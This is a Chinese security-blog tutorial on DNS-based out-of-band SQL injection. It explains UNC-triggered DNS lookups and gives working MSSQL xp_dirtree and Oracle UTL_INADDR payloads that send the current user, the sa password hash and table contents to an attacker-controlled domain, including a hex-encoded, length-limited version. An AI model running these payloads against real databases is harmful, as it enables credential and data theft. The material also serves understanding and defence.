安全路透社
当前位置:安全路透社 > 网络转载 > 正文

OOB(out of band)分析系列之DNS渗漏

*本文原创作者:温酒

前言

SQL注入作为最老的漏洞之一,它的价值随着整个web的发展从来没有过时,足以证明它的地位和价值。

我和很多人聊过这个漏洞,发现很多人对这个漏洞的了解只是拿sqlmap干,好一点的还会手注,懂原理。

但是它们本身只了解到了这个漏洞的实战效果和实战需要等等,并没有深入了解这个漏洞。但是这个漏洞本身基于数据库,而数据库是很灵活的,就会发展出很多邪道。笔者最近看了很多关于sql注入的文章,发现国外已经玩出玫瑰花来了,就打算写个系列总结一下。

这篇文章的面向对象不是新手,起码你要会sql的手注,知道sql注入的原理并且熟知各大数据库的函数和特性。因为这篇文章不会讲这些东西但是又基于这些东西,不会是很难看懂的。

我的QQ:1478023488 欢迎任何人找我讨论,但是拒绝闲聊和扯淡.

OOB

SQL注入类型细分,分为以下5种:

    1. Boolean-based blind SQL injection 
    2. Error-based SQL injection
    3. UNION query SQL injection
    4. Stacked queries SQL injection
    5. Time-based blind SQL injection

共计3大类:

    1. inband
    2. inference
    3. out of band(OOB)

这篇文章的主题是out of band,即OOB。

它与我们熟知的inband类的注入相反。inband是利用web应用来直接获取数据,比如Error-based SQL injection和Error-based SQL injection都是属于inband类,它们都是通过web的响应或者错误反馈来提取数据。

而inference则是通过web的一些反映来推断数据,比如Boolean-based blind SQL injection和Stacked queries SQL injection 也就是我们通俗的盲注,通过web应用的其他改变来推断数据。

(因为我喜欢php,所以用PDO作为基准,而PDO只会返回第一条SQL语句的执行结果,
所以一般不能直接拿到数据,一般都是通过update某个可见字段或者sleep注入,所以我归为inference类)

Method requests Time
Boolean-based blind 29,212 214.04
Time-based (1 sec) 32,716 17,720.51
Error-based 777 9.02
Union (full/partial) 3/136 0.70/2.50
DNS exfiltration 1,409 35.31

数据来源

我们的主角OOB则是通过其他传输方式来获得数据,比如利用我们等会要说到的DNS解析协议和电子邮件。当你遇到了某些很隐蔽的注入点,inband类注入没办法用,inference类注入被你嫌弃太慢的时候,OOB就是你最好的选择了。

利用DNS偷走数据

当说这个之前,你需要知道DNS的原理:

    首先用户通过自己设置的DNS服务器查询域名
    如果没查询到,就向上一级的DNS服务器查询,
    上一级的DNS服务器返回查询到的DNS服务器的地址,然后向DNS服务器查询子域名,最终返回子域名的IP地址

实际上复杂的多,是一个分级查询。先向根域名服务器查询顶级域名服务器,然后顶级域名服务器查询次级域名,这样一层层查询下来的。

作为攻击者,我们只能控制需要查询的域名和域名的NS服务器。域名的NS服务器可以在域名注册商那里修改,如何搭建NS服务器就不谈了。

以及还需要知道win对UNC(Universal-Naming-Convention)的内在支持,当我们尝试连接到一个UNC路径的时候,win会先查找目标域名的ip地址,用以建立连接。比如,给某个文件处理函数的文件路径是\\admin.xiaoze.com\tops\这种,那么win操作系统会在xiaoze.com的dns服务器上查找admin.xiaoze.com的域名的ip。所以我们可以通过监视dns服务器来捕获数据。

那么显然,利用dns偷数据的方法,除了大家熟知的mysql+win环境可以利用,只要是有能操控文件的函数且在win环境下运行的数据库都可以利用这种方法。

比如mssql的4个文件操作函数:

函数名 支持的数据库版本 需要的参数
xp_getfiledetails Microsoft SQL Serves 2000 文件路径
xp_fileexist 全系列 文件路径
xp_dirtree 全系列 文件路径
xp_subdirs 全系列 文件路径

利用dns获得当前登陆的用户,可以使用:

declare @xiaoze char(128);
set @xiaoze='\\'+system_user+'.xiaoze.com.';
exec master..xp_dirtree @xiaoze

如果想获得sa账号的密码hash,可以使用:

declare @xiaoze varchar(128);
select @host="\\'+(select top 1
master.dbo.fn_varbintohexstr(password_hash)
from sys.sql_logins where name='sa')
+'.xiaoze.com.';
exec master..xp_dirtree @xiaoze;

因为在测试的时候发现直接使用字符串拼接会报错,所以我用了一个变量来保存路径。但是也有小伙伴测试发现直接拼接不会报错,具体情况大家自己搭建环境测试吧,我的环境是Microsoft SQL Serves 2000。

上面的语句通过文件操作函数触发了win的UNC,引发了一次DNS操作,在向我们的ns服务器查询子域名ip的时候就可以捕捉到数据。

同样,除了mssql和mysql可以利用dns偷数据,只要内置文件操作函数的数据库都可以利用。

比如Oracle,Oracle的利用比mssql简单很多。可以直接使用UTL_INADDR包(官方文档戳我),而且因为不依赖PL/SQL所以可以直接插入到子查询或者where之后。

在Oracle下想获得数据库登陆用户可以用:

select * from xiaoze where lmz=UTL_INADDR.GET_HOST_ADDRESS
((SELECT USER FROM DUAL)||'.xiaoze.com'

其他的比如MySQL和PostgreSQL也是一样的原理,我就不浪费篇幅了。

实际问题

这个技术本质是利用UNC发起的DNS查询,所以UNC的路径不能超过128,否则会失败。所以我上面的中间变量长度都是128。同时也不能出现非法字符,否则也会失败。

一般会把希望传递的数据转化成能被dns正确处理的格式,比如变成16进制。mssql内置了一个名为fn_varbintohexstr的函数,它接收一个字符串作为参数并返回这个字符串的16进制表示。比如:select master.dbo.fn_varbintohexstr(cast(SYSTEM_USER as VARBINARY))。这句sql语句执行的结果是0x73006100,也就是sa的unicode编码后的样子。

接下来就是长度问题,因为经过上面的16进制编码之后,128个字符的空间就显的太少了,很容易就超出。这样要么我们只能收到前128个字符,剩下的就被丢掉了,也可能干脆直接失败。128包括完整的整个请求,包括前面的\\和结尾的com.这点尤为注意。同时一个标识符占用128个字符是非法的,最多不能超过63个字符,比如com就是一个标签符,它占用3个字符。

具体的解释请打开《TCP/IP详解–卷1:协议》(机器工业出版社第一版)的第146页中间的图14-6那段。

为了能正常完整的偷取数据,我们需要对数据进行编码,并且不能超过63个字节。编码可以用fn_varbintohexstr函数解决。长度可以用substring函数截取控制长度。

完整且能保证稳定的利用语句:

declare @xiaoze char(128);
select @xiaoze='\\'+master.dbo.fn_varbintohexstr(
CAST(SUBSTRING((SELECT TOP 1
CAST(XiaoZe AS char(255)) FROM LMZ),1,26) AS
VARBINARY(255)))+'.XiaoZeLoveLMZ.com.';
EXEC master..xp_dirtree @xiaoze;

由于dns查询会先查看本地缓存,所以为了能成功发出查询,建议在请求中加入一些随机值,比如我在我自己写的工具里面,随机值是我老婆每个月的月经时间,每次向后推两天,幸好她的月经时间不固定,否则我只能随机她生气的时间了。比如她看到这段话的时候?

结语

实际上OOB的方法很多,但是大部分都是实战意义不高的技术。比如利用icmp和电子邮件或者http头来偷数据。如果有人有兴趣,我会全部写一遍的。

参考文章

*本文原创作者:温酒

未经允许不得转载:安全路透社 » OOB(out of band)分析系列之DNS渗漏

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册